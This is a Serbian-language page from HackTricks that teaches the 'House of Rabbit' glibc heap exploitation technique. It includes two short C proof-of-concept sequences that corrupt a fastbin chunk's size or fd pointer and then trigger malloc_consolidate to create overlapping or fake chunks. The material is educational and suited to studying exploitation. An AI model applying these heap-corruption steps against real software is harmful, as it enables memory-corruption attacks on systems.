hacktricks/binary-exploitation/libc-heap/house-of-rabbit.md

4.6 KiB

Kuća Zeca

{% hint style="success" %} Naučite i vežbajte hakovanje AWS-a: HackTricks Obuka AWS Crveni Tim Stručnjak (ARTE)
Naučite i vežbajte hakovanje GCP-a: HackTricks Obuka GCP Crveni Tim Stručnjak (GRTE)

Podržite HackTricks
{% endhint %}

Zahtevi

  1. Sposobnost modifikacije pokazivača fd brze binarne ili veličine: To znači da možete promeniti pokazivač napred jednog bloka u brzoj binarnoj ili njegovu veličinu.
  2. Sposobnost pokretanja malloc_consolidate: Ovo se može postići ili dodeljivanjem velikog bloka ili spajanjem vršnog bloka, što prisiljava hip da konsoliduje blokove.

Ciljevi

  1. Stvaranje preklapajućih blokova: Da bi jedan blok prekrio drugi, omogućavajući dalje manipulacije hipom.
  2. Lažiranje lažnih blokova: Da bi se varalica ubedio da tretira lažni blok kao legitimni blok tokom operacija hipa.

Koraci napada

POC 1: Modifikacija veličine brze binarne jedinice

Cilj: Stvaranje preklapajućeg bloka manipulacijom veličine brze binarne jedinice.

  • Korak 1: Dodela Blokova
unsigned long* chunk1 = malloc(0x40);  // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x40);  // Allocates another chunk of 0x40 bytes at 0x602050
malloc(0x10);                          // Allocates a small chunk to change the fastbin state
  • Korak 2: Oslobađanje delova
free(chunk1);  // Frees the chunk at 0x602000
free(chunk2);  // Frees the chunk at 0x602050
  • Korak 3: Izmena Veličine Čunka
chunk1[-1] = 0xa1;  // Modify the size of chunk1 to 0xa1 (stored just before the chunk at chunk1[-1])
  • Korak 4: Izazovite malloc_consolidate
malloc(0x1000);  // Allocate a large chunk to trigger heap consolidation

Alociranje velikog bloka pokreće funkciju malloc_consolidate, spajajući male blokove u brzom binu. Manipulisana veličina chunk1 uzrokuje preklapanje sa chunk2.

Nakon konsolidacije, chunk1 se preklapa sa chunk2, omogućavajući dalju eksploataciju.

POC 2: Modifikacija fd pokazivača

Cilj: Kreiranje lažnog bloka manipulacijom brzog bin fd pokazivača.

  • Korak 1: Alociranje Blokova
unsigned long* chunk1 = malloc(0x40);  // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x100); // Allocates a chunk of 0x100 bytes at 0x602050

Objašnjenje: Alociramo dva bloka, jedan manji i jedan veći, kako bismo postavili hip za lažni blok.

  • Korak 2: Kreiranje lažnog bloka
chunk2[1] = 0x31;  // Fake chunk size 0x30
chunk2[7] = 0x21;  // Next fake chunk
chunk2[11] = 0x21; // Next-next fake chunk
  • Korak 3: Oslobodite chunk1
free(chunk1);  // Frees the chunk at 0x602000

Objašnjenje: Oslobađamo chunk1, dodajući ga u listu fastbin.

  • Korak 4: Modifikujemo fd od chunk1
chunk1[0] = 0x602060;  // Modify the fd of chunk1 to point to the fake chunk within chunk2

Objašnjenje: Menjamo pokazivač unapred (fd) chunk1 da pokazuje na naš lažni blok unutar chunk2.

  • Korak 5: Pokretanje malloc_consolidate
malloc(5000);  // Allocate a large chunk to trigger heap consolidation

Alociranje velikog bloka ponovo pokreće malloc_consolidate, koji obrađuje lažni blok.

Lažni blok postaje deo liste brzih binova, čineći ga legitimnim blokom za dalje iskorišćavanje.

Rezime

Tehnika House of Rabbit uključuje ili modifikovanje veličine bloka brzih binova kako bi se stvorili preklapajući blokovi ili manipulisanje fd pokazivača kako bi se stvorili lažni blokovi. Ovo omogućava napadačima da falsifikuju legitimne blokove u hipu, omogućavajući različite oblike iskorišćavanja. Razumevanje i vežbanje ovih koraka će unaprediti vaše veštine iskorišćavanja hipa.